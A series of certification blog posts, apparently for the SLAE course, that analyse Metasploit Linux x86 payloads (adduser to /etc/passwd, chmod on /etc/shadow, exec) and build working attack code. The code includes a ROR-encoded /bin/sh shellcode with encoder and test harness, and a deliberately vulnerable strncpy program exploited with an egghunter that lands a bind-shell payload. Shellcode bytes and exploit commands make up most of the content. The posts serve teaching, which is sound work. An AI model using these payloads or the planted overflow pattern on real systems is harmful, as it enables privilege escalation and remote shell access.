 Also, I shaved two bytes off the shellcode - I'll earn the bonus points for that :-)  
   
   



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.

Thursday, 16 June 2016

x86 metasploit shellcode analysis

Part five of seven of my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) assignments requires me to take three shellcodes from metasploit for linux/x86 and analyse them using gdb/ndisasm.

I have done the three analysis' and they can be found below;

https://github.com/pabb85/SLAE/blob/master/linux-x86-adduser_analysis ;

 paul@SLAE001:~$ msfvenom -p linux/x86/adduser -o linux-x86-adduser.bin -f raw  
 No platform was selected, choosing Msf::Module::Platform::Linux from the payload  
 No Arch selected, selecting Arch: x86 from the payload  
 No encoder or badchars specified, outputting raw payload  
 Payload size: 97 bytes  
 Saved as: linux-x86-adduser.bin  
 paul@SLAE001:~$ ndisasm -p intel linux-x86-adduser.bin   
   
   
 00000000 31C9       xor cx,cx          <-- clear cx  
 00000002 89CB       mov bx,cx          <-- clear bx  
 00000004 6A46       push byte +0x46     <-- push 0x46 (decimal 70) onto the stack  
 00000006 58        pop ax          <-- pop the 70 into ax  
 00000007 CD80       int 0x80          <-- invoke system call 70, setreuid(0, 0)  
   
   
 00000009 6A05       push byte +0x5     <-- push 5 onto the stack       
 0000000B 58        pop ax          <-- pop the 5 into ax  
 0000000C 31C9       xor cx,cx          <-- unnecessarily clear cx...  
 0000000E 51        push cx          <-- push null onto the stack  
 0000000F 687373      push word 0x7373     <-- push sswd  
 00000012 7764       ja 0x78          <-- ndisasm gets it wrong here, the 0x68 opcode is used for either push word or dword  
 00000014 682F2F      push word 0x2f2f     <-- push //pa  
 00000017 7061       jo 0x7a          <-- another opcode 0x68 misinterpretation  
 00000019 682F65      push word 0x652f     <-- push /etc  
 0000001C 7463       jz 0x81          <-- another opcode 0x68 misinterpretation  
 0000001E 89E3       mov bx,sp          <-- point bx to the top of the stack, to the string /etc//passwd  
 00000020 41        inc cx          <-- increment cx to 1  
 00000021 B504       mov ch,0x4          <-- move 4 into ch, making cx 0x41, equivalent to O_WRONLY|O_APPEND flag to open()  
 00000023 CD80       int 0x80          <-- invoke system call 5, open('/etc//passwd', O_WRONLY|O_APPEND)   
   
   
 00000025 93        xchg ax,bx          <-- switch ax and bx, so ax=pointer to '/etc//passwd', bx=the fd for the open file  
                ;inserted \xcc\xcc here to allow inspection with gdb during analysis...  
 00000026 E82800      call word 0x51     <-- call 0x51, jumps to 0x53 according to gdb   
   
   
   
 The folowing looks like an ASCII data section, a string of '\0\0metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh'  
   
 00000029 0000       add [bx+si],al     <-- null padding  
 0000002B 6D        insw          <-------------- String between 0x2d and 0x52   
 0000002C 657461      gs jz 0x90  
 0000002F 7370       jnc 0xa1  
 00000031 6C        insb  
 00000032 6F        outsw  
 00000033 69743A417A    imul si,[si+0x3a],word 0x7a41  
 00000038 2F        das  
 00000039 6449       fs dec cx  
 0000003B 736A       jnc 0xa7  
 0000003D 3470       xor al,0x70  
 0000003F 3449       xor al,0x49  
 00000041 52        push dx  
 00000042 633A       arpl [bp+si],di  
 00000044 303A       xor [bp+si],bh  
 00000046 303A       xor [bp+si],bh  
 00000048 3A2F       cmp ch,[bx]  
 0000004A 3A2F       cmp ch,[bx]  
 0000004C 62696E      bound bp,[bx+di+0x6e]  
 0000004F 2F        das  
 00000050 7368       jnc 0xba  
 00000052 0A                         <-------------- String between 0x2d and 0x52   
   
 ...At this point, as I've cut into what ndisasm thought was an instruction, I'll restart the disassembly to make the output cleaner and avoid having to try and re assemble the opcodes...  
   
 paul@SLAE001:~$ ndisasm -k 0,83 linux-x86-adduser.bin   
 00000000 skipping 0x53 bytes  
 00000053 59        pop cx          <-- pop return address into cx (points to start of string at 0x2d)  
 00000054 8B51FC      mov dx,[bx+di-0x4] <-- gdb says: edx,DWORD PTR [ecx-0x4], ecx-4 is loc 0x27 which contains 0x28  
 00000057 6A04       push byte +0x4     <-- push 4  
 00000059 58        pop ax          <-- pop 4 into ax  
 0000005A CD80       int 0x80          <-- invoke system call 4, write(fd, string, 0x28) - 0x28 is buffer length  
   
 0000005C 6A01       push byte +0x1     <-- push 1  
 0000005E 58        pop ax          <-- pop 1 into ax  
 0000005F CD80       int 0x80          <-- invoke system call 1, exit()  
   
   
   
 So, in summary;  
   
 invoke system call 70, setreuid(0, 0)     - Get back any dropped privs  
 invoke system call 5, open('/etc//passwd', O_WRONLY|O_APPEND)      - open /etc/passwd for writing  
 jump over the string to be written  
 invoke system call 4, write(fd, string, 0x28)      - write a new entry for a new user  
 invoke system call 1, exit()     - exit gracefully  
   
 There's certainly some room for size optimisation here, does the graceful exit need to be there, for example?   
 Also, need to consider that most modern systems use /etc/shadow for the password hashes.  
   
   

https://github.com/pabb85/SLAE/blob/master/linux-x86-chmod_analysis ;

 paul@SLAE001:~$ msfvenom -p linux/x86/chmod -o linux-x86-chmod.bin -f raw  
 No platform was selected, choosing Msf::Module::Platform::Linux from the payload  
 No Arch selected, selecting Arch: x86 from the payload  
 No encoder or badchars specified, outputting raw payload  
 Payload size: 36 bytes  
 Saved as: linux-x86-chmod.bin  
 paul@SLAE001:~$ ndisasm -p intel linux-x86-chmod.bin  
 00000000 99        cwd               <-- convert word to double, puts the MSB of ax across all bits of dx, maybe assumes a 0  
 00000001 6A0F       push byte +0xf     <-- push 0xf  
 00000003 58        pop ax          <-- pop 0xf into ax, decimal 15  
 00000004 52        push dx          <-- push dx (null if MSB of ax was 0)  
 00000005 E80C00      call word 0x14     <-- save return address, jump to 0x16  
   
 Bet the following is a string... Yup, it's '\0\0/etc/shadow'  
 00000008 0000       add [bx+si],al     <-- null padding  
 0000000A 2F        das               <-------------- String between 0xa and 0x14   
 0000000B 657463      gs jz 0x71  
 0000000E 2F        das  
 0000000F 7368       jnc 0x79  
 00000011 61        popaw  
 00000012 646F       fs outsw  
 00000014 7700       ja 0x16          <-------------- String between 0xa and 0x14   
   
 00000016 5B        pop bx          <-- pop return address into cx (points to start of string at 0xa)  
 00000017 68B601      push word 0x1b6     <-- push 0x000001b6, octal 666  
 0000001A 0000       add [bx+si],al     <-- another opcode 0x68 misinterpretation, ignore this   
 0000001C 59        pop cx          <-- pop octal 666 into cx  
 0000001D CD80       int 0x80          <-- invoke system call 15, chmod('/etc/shadow', 666)  
   
 0000001F 6A01       push byte +0x1     <-- push 1  
 00000021 58        pop ax          <-- pop 1 into ax  
 00000022 CD80       int 0x80          <-- invoke system call 1, exit()  
   
   
 In summary;  
 invoke system call 15, chmod('/etc/shadow', 666)  
 invoke system call 1, exit()  
   
 There are a few things to note about this shellcode - if when it begins the MSB of the ax register isnt 0, chances are it won't work as expected.  
 Also, no setreuid call means that modern kernels which drop privs will likely break this shellcode.  
   
   

https://github.com/pabb85/SLAE/blob/master/linux-x86-exec_analysis ;

 paul@SLAE001:~$ msfvenom -p linux/x86/exec -o linux-x86-exec.bin -f raw CMD=ls  
 No platform was selected, choosing Msf::Module::Platform::Linux from the payload  
 No Arch selected, selecting Arch: x86 from the payload  
 No encoder or badchars specified, outputting raw payload  
 Payload size: 38 bytes  
 Saved as: linux-x86-exec.bin  
 paul@SLAE001:~$ ndisasm -p intel linux-x86-exec.bin  
 00000000 6A0B       push byte +0xb          <-- push b, decimal 11  
 00000002 58        pop ax               <-- pop b into ax  
 00000003 99        cwd                    <-- effectively nulls-out dx  
 00000004 52        push dx               <-- push null  
 00000005 66682D6389E7   push dword 0xe789632d     <-- push two bytes junk then two bytes '-c', not sure why the junk..  
   
 ;the following few instructions get messed up so ill rewrite them  
 0000000B 682F73      push word 0x732f          <-- another opcode 0x68 misinterpretation, ignore this  
 0000000E 680068      push word 0x6800          <-- another opcode 0x68 misinterpretation, ignore this   
 00000011 2F        das  
 ;rewritten looks like this  
 0000000B 68 2F73 6800   push word 0x0068732f     <-- push '/sh\0'  
 00000010 68 2F62 696e   push word 0x696e622f     <-- push '/bin'  
   
 00000015 89E3       mov bx,sp               <-- mov stack pointer into bx  
 00000017 52        push dx               <-- push another null  
 00000018 E80300      call word 0x1e          <-- save return address and jump to 0x20  
   
 ;Bet this is a string... Yup, its '\0\0ls\0'  
 0000001B 0000       add [bx+si],al          <-- null padding  
 0000001D 6C        insb               <-- 'ls\0'  
 0000001E 7300       jnc 0x20  
   
 00000020 57        push di               <-- push di, which points to '-c'  
 00000021 53        push bx               <-- push bx, which points to '/bin/sh'  
 00000022 89E1       mov cx,sp               <-- mov stack pointer to cx  
 00000024 CD80       int 0x80               <-- invoke system call 11, execve('/bin/sh', ['/bin/sh', '-c', 'ls'])  
   
   
 In summary, build up an array of pointers on the stack for the cx argument, so slightly more complicated than just loading up the registers.  
   
 Not sure why they are using the dword with junk instead of just pushing the '-c' on as a word or how edi gets populated but will research this further...  


Awesome, on to the next challenge :-)


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.

x86 custom encoder shellcode

As the fourth part of my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) assignments, the task is to produce a working custom encoder shellcode of my own design.

The task description is to use a basic execve /bin/sh shellcode as the encoded payload but anything could be used as all the encoder will do would be to decode the payload and pass execution to it.  One of the requirements of the resultant shellcode would be that it doesn't contain nulls, so it would make sense to be able to iterate through a range of encoders or keys to ensure that different payloads can be encoded without nulls in the resultant shellcode.

Since we already implemented an XOR encoder during the course, I've decided to use circular shift as the encoding technique because it is lossless & easy to implement at the assembler level.  As a nice side-effect, the only way I could have a null in the encoded shellcode is by passing a null into it.

Using a similar methodology and the templates from the course, I put together a  python script to encode the payload and a nasm file as the encoder stub, which then contains the encoded payload shellcode - this time using ROR by 4 bits.

https://github.com/pabb85/SLAE/blob/master/rot-encoder.py ;

1:  #!/usr/bin/python  
2:    
3:  # Python ROR Encoder   
4:    
5:  ror = lambda val, r_bits, max_bits: \  
6:    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \  
7:    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))  
8:    
9:  #print "%x" % ror(0xff, 4, 8)  
10:  #print "%x" % ror(0x00, 4, 8)  
11:  #print "%x" % ror(0x1, 4, 8)  
12:  #print "%x" % ror(0xf, 4, 8)  
13:    
14:    
15:  shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")  
16:  #shellcode = ("\x13\x0c\x05\x86\xf2\xf2\x37\x86\x86\xf2\x26\x96\xe6\x98\x3e\x05\x98\x2e\x35\x98\x1e\x0b\xb0\xdc\x08")  
17:    
18:  encoded = ""  
19:  encoded2 = ""  
20:    
21:  print 'Encoded shellcode ...'  
22:    
23:  for x in bytearray(shellcode) :  
24:       # XOR Encoding        
25:       y = ror(x, 4, 8)  
26:       encoded += '\\x'  
27:       encoded += '%02x' % y  
28:    
29:       encoded2 += '0x'  
30:       encoded2 += '%02x,' %y  
31:    
32:    
33:  print encoded  
34:    
35:  print encoded2  
36:    
37:  print 'Len: %d' % len(bytearray(shellcode))  
38:    


https://github.com/pabb85/SLAE/blob/master/ror-decoder.nasm ;

1:  ; Filename: ror-decoder.nasm  
2:  ;  
3:  ; Purpose:   
4:    
5:  global _start                 
6:    
7:  section .text  
8:  _start:  
9:    
10:       jmp short call_decoder  
11:    
12:  decoder:  
13:       pop esi  
14:       xor ecx, ecx  
15:       mov cl, 25  
16:    
17:    
18:  decode:  
19:       ror byte [esi], 4  
20:       inc esi  
21:       loop decode  
22:    
23:       jmp short Shellcode  
24:    
25:    
26:    
27:  call_decoder:  
28:    
29:       call decoder  
30:       Shellcode: db 0x13,0x0c,0x05,0x86,0xf2,0xf2,0x37,0x86,0x86,0xf2,0x26,0x96,0xe6,0x98,0x3e,0x05,0x98,0x2e,0x35,0x98,0x1e,0x0b,0xb0,0xdc,0x08  
31:    
32:    

Then use the objdump one-liner to extract the shellcode - n.b. this strangely misses one byte out (0x37), this caused a bit of frustration for me!!  I will look into why this is the case but for now note that I have added it in below, in bold.

 paul@SLAE001:~$ objdump -d ./ror-decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'   
 "\xeb\x0d\x5e\x31\xc9\xb1\x19\xc0\x0e\x04\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x13\x0c\x05\x86\xf2\xf2\x37\x86\x86\xf2\x26\x96\xe6\x98\x3e\x05\x98\x2e\x35\x98\x1e\x0b\xb0\xdc\x08"  
   

Finally, compile the shellcode.c with the new encoded shellcode within and test;

 paul@SLAE001:~$ cat shellcode.c   
 #include<stdio.h>  
 #include<string.h>  
   
 unsigned char code[] = \  
 "\xeb\x0d\x5e\x31\xc9\xb1\x19\xc0\x0e\x04\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x13\x0c\x05\x86\xf2\xf2\x37\x86\x86\xf2\x26\x96\xe6\x98\x3e\x05\x98\x2e\x35\x98\x1e\x0b\xb0\xdc\x08";  
   
 main()  
 {  
   
      printf("Shellcode Length: %d\n", strlen(code));  
   
      int (*ret)() = (int(*)())code;  
   
      ret();  
   
 }  
   
        
 paul@SLAE001:~$ gcc shellcode.c -o shellcode -m32 -fno-stack-protector -z execstack  
 paul@SLAE001:~$ ./shellcode   
 Shellcode Length: 45  
 $ id  
 uid=1000(paul) gid=1000(paul) groups=1000(paul),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)  
 $   
   


Great...!  This worked in the end.  The 0x37 issue was a bit annoying but I will try and figure out what was going wrong.




This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.

Wednesday, 15 June 2016

x86 egghunter shellcode research & example

For the third part of my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) assignments, I have to research a topic which was not covered under the course - egghunter shellcode.   I will document my findings here and some example code as a proof of concept.

I took to reading the legendary skape's research paper on egghunters, which can be found here: http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf - the idea is a feindishly simple but effective method to use a two-stage shellcode where you only have a small amount of space in predictable memory space and have to use this to find the larger part of shellcode.

In order to do this, the smaller shellcode - the "egghunter" will look for a fixed set of bytes which demarkate the beginning of the larger shellcode section.  Cleverly, the beginning of the larger shellcode begins with this signature not once but twice - in order that the egghunter doesn't detect the signature within its own code.  The egghunter allows for this and ensure that the egg is found repeated twice, while searching over memory in a loop.

While we are limiting the scope of this research to Linux, I will use at one of the three linux egghunter examples provided in the whitepaper;

39 bytes access() system-call
35 bytes access() system-call
30 bytes sigaction() system-call    <----this one :-)

As we can see, these shellcodes as significantly smaller than your average bind or reverse shell.

I put together a quick C program to demonstrate how an egghunter shellcode could work for both heap-based and stack-based second stages as follows;

1:  #include <stdio.h>  
2:  #include <stdlib.h>  
3:  #include <string.h>  
4:    
5:    
6:  int main(int argc, char *argv[])  
7:  {  
8:    char *stuff = (char*)malloc(200 * sizeof(char));  
9:    stuff = argv[1];  
10:    
11:    printf("argv[1] = %s\n", argv[1]);  
12:    printf("&argv[1] = %p\n", &argv[1]);  
13:    
14:    printf("argv[2] = %s\n", argv[2]);  
15:    printf("&argv[2] = %p\n", &argv[2]);  
16:    
17:    printf("stuff = %s\n", stuff);  
18:    printf("&stuff = %p\n", &stuff);  
19:      
20:    
21:    char buf[5];  
22:    strncpy(buf, argv[2], 60);  
23:    printf("buf = %s\n", buf);  
24:    
25:    
26:    
27:    int count;  
28:    
29:  //to crash (within gdb)  
30:  //r 1 `perl -e 'print "A"x21 . "B"x4 . "C"x35;'`  
31:    
32:    return 0;  
33:  }  
34:    

As you can see, the sample vulnerable program accepts two arguments, putting the value of the first (upto 200 bytes) onto space on the heap assigned by malloc and doing a bad strncpy on the second argv into an undersized buffer.  I've done it this way so we can see that you can use either heap or stack for the second stage of the shellcode.

The strncpy allows the buffer overflow and overwrite of EIP (where the B's are within the example GDB crash) but then followed by only 35 bytes for the shellcode (esp points to the beginning of the C's).

The 35 bytes isn't a lot of space for a shellcode so this is where the egghunter is going to come in handy.  Of course, you could try and scavenge the 21 bytes used by the A's with a jmp at the end of the initial shellcode section but this would only give you 56 bytes and anyway this is an egghunter exercise :)

So we can either choose to put our second-stage shellcode onto the heap via the first argument and hunting it using the egghunter, OR, putting the second-stage shellcode onto the lower section of the stack with the rest of the programs environment, in this example I will do the former.

As we can see below, both the stack and heap addresses are randomised, due to ASLR :-)

 paul@SLAE001:~$ gcc egghunter.c -o egghunter -g -fno-stack-protector -z execstack  
 paul@SLAE001:~$ ./egghunter 111 222  
 argv[1] = 111  
 &argv[1] = 0xbfa5ea28  
 argv[2] = 222  
 &argv[2] = 0xbfa5ea2c  
 stuff = 111  
 &stuff = 0xbfa5e97c  
 buf = 222  
 Segmentation fault (core dumped)  
 paul@SLAE001:~$ ./egghunter 111 222  
 argv[1] = 111  
 &argv[1] = 0xbfc77868  
 argv[2] = 222  
 &argv[2] = 0xbfc7786c  
 stuff = 111  
 &stuff = 0xbfc777bc  
 buf = 222  
 ...  


With knowledge that the C's line up with esp, our next step is to find a jmp esp, we will do this within GDB by first locating libc and then searching within it for the right opcodes (0xff, 0xe4);

 (gdb) info proc mappings   
 process 4369  
 Mapped address spaces:  
   
      Start Addr  End Addr    Size   Offset objfile  
       0x8048000 0x8060000  0x18000    0x0 /bin/dash  
       0x8060000 0x8061000   0x1000  0x17000 /bin/dash  
       0x8061000 0x8062000   0x1000  0x18000 /bin/dash  
       0x8062000 0x8085000  0x23000    0x0 [heap]  
      0xb7e21000 0xb7e22000   0x1000    0x0   
      0xb7e22000 0xb7fc5000  0x1a3000    0x0 /lib/i386-linux-gnu/libc-2.15.so  
      0xb7fc5000 0xb7fc7000   0x2000  0x1a3000 /lib/i386-linux-gnu/libc-2.15.so  
      0xb7fc7000 0xb7fc8000   0x1000  0x1a5000 /lib/i386-linux-gnu/libc-2.15.so  
      0xb7fc8000 0xb7fcb000   0x3000    0x0   
      0xb7fdb000 0xb7fdd000   0x2000    0x0   
      0xb7fdd000 0xb7fde000   0x1000    0x0 [vdso]  
      0xb7fde000 0xb7ffe000  0x20000    0x0 /lib/i386-linux-gnu/ld-2.15.so  
      0xb7ffe000 0xb7fff000   0x1000  0x1f000 /lib/i386-linux-gnu/ld-2.15.so  
      0xb7fff000 0xb8000000   0x1000  0x20000 /lib/i386-linux-gnu/ld-2.15.so  
      0xbffdf000 0xc0000000  0x21000    0x0 [stack]  
 (gdb) find /b 0xb7e22000, 0xb7fc5000, 0xff, 0xe4  
 0xb7e24a55  
 0xb7f7b00b  
 ...  

Many come back, we will take the first one and replace the B's with this address, testing this by first landing on a soft breakpoint and then a second attempt where we land into the egghunter, after feeding the egg into the heap, followed by another soft breakpoint;

 (gdb) r `perl -e 'print "AAAA";'` `perl -e 'print "A"x21 . "\x55\x4a\xe2\xb7" . "\xcc\xcc\xcc\xcc" . "C"x31;'`  
 Starting program: /home/paul/egghunter `perl -e 'print "AAAA";'` `perl -e 'print "A"x21 . "\x55\x4a\xe2\xb7" . "\xcc\xcc\xcc\xcc" . "C"x31;'`  
 argv[1] = AAAA  
 &argv[1] = 0xbffff728  
 argv[2] = AAAAAAAAAAAAAAAAAAAAAUJ������CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC  
 &argv[2] = 0xbffff72c  
 stuff = AAAA  
 &stuff = 0xbffff67c  
 buf = AAAAAAAAAAAAAAAAAAAAAUJ������CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC�o��  
   
 Program received signal SIGTRAP, Trace/breakpoint trap.  
 0xbffff691 in ?? ()  
 (gdb) r `perl -e 'print "\x90\x50\x90\x50\x90\x50\x90\x50" . "\xcc\xcc\xcc\xcc";'` `perl -e 'print "A"x21 . "\x55\x4a\xe2\xb7" . "\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7" . "C"x5;'`  
 The program being debugged has been started already.  
 Start it from the beginning? (y or n) y  
   
 Starting program: /home/paul/egghunter `perl -e 'print "\x90\x50\x90\x50\x90\x50\x90\x50" . "\xcc\xcc\xcc\xcc";'` `perl -e 'print "A"x21 . "\x55\x4a\xe2\xb7" . "\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7" . "C"x5;'`  
 argv[1] = �P�P�P�P����  
 &argv[1] = 0xbffff718  
 argv[2] = AAAAAAAAAAAAAAAAAAAAAUJ��f���AjCX̀<�t���P�P�ϯu��u���CCCCC  
 &argv[2] = 0xbffff71c  
 stuff = �P�P�P�P����  
 &stuff = 0xbffff66c  
 buf = AAAAAAAAAAAAAAAAAAAAAUJ��f���AjCX̀<�t���P�P�ϯu��u���CCCC�o��  
   ...couple of seconds delay here while memory is searched...
 Program received signal SIGTRAP, Trace/breakpoint trap.  
 0xbffff869 in ?? ()  
 (gdb)   
   

Okay, this worked nicely :-)  For the final step we are going to put onto the heap the egg followed by a bind shellcode and test this;

 (gdb) r `perl -e 'print "\x90\x50\x90\x50\x90\x50\x90\x50" . "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";'` `perl -e 'print "A"x21 . "\x55\x4a\xe2\xb7" . "\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7" . "C"x5;'`  
 The program being debugged has been started already.  
 Start it from the beginning? (y or n) y  
   
 Starting program: /home/paul/egghunter `perl -e 'print "\x90\x50\x90\x50\x90\x50\x90\x50" . "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";'` `perl -e 'print "A"x21 . "\x55\x4a\xe2\xb7" . "\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7" . "C"x5;'`  
 argv[1] = �P�P�P�P1�1�1�� Vj j ���f̀�³ Vfh \fj ��j QP���f̀� VR���f̀�VVR���f̀��1ɰ?̀A�� u��  
                                           Vh//shh/bin��1�1�̀  
 &argv[1] = 0xbffff6b8  
 argv[2] = AAAAAAAAAAAAAAAAAAAAAUJ��f���AjCX̀<�t���P�P�ϯu��u���CCCCC  
 &argv[2] = 0xbffff6bc  
 stuff = �P�P�P�P1�1�1�� Vj j ���f̀�³ Vfh \fj ��j QP���f̀� VR���f̀�VVR���f̀��1ɰ?̀A�� u��  
                                          Vh//shh/bin��1�1�̀  
 &stuff = 0xbffff60c  
 buf = AAAAAAAAAAAAAAAAAAAAAUJ��f���AjCX̀<�t���P�P�ϯu��u���CCCC�o��  
 process 4399 is executing new program: /bin/dash  
   
   


Awesome!  This worked!  The C file used for this research post can be found here: https://github.com/pabb85/SLAE/blob/master/egghunter.c


Connecting to my egghunter-found bind shell :-)


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.